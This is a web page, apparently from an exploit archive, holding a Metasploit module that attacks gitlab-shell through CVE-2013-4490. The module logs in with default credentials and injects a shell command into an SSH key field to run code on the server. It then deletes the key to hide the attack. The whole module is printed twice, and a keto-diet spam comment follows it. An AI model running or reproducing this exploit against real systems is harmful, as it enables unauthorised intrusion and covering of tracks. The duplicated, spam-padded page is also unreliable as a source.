Filename | Gitlab-shell Code Execution |
Permission | rw-r--r-- |
Author | Unknown |
Date and Time | 10:20 AM |
Label | |
Action |
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => 'Nov 4 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
], self.class)
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => 'Nov 4 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
], self.class)
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
1 comments:
If you're trying to lose pounds then you absolutely need to get on this brand new personalized keto plan.
To create this keto diet service, certified nutritionists, personal trainers, and cooks have united to develop keto meal plans that are powerful, suitable, cost-efficient, and fun.
Since their first launch in early 2019, hundreds of people have already remodeled their body and health with the benefits a good keto plan can offer.
Speaking of benefits; clicking this link, you'll discover 8 scientifically-confirmed ones provided by the keto plan.
Post a Comment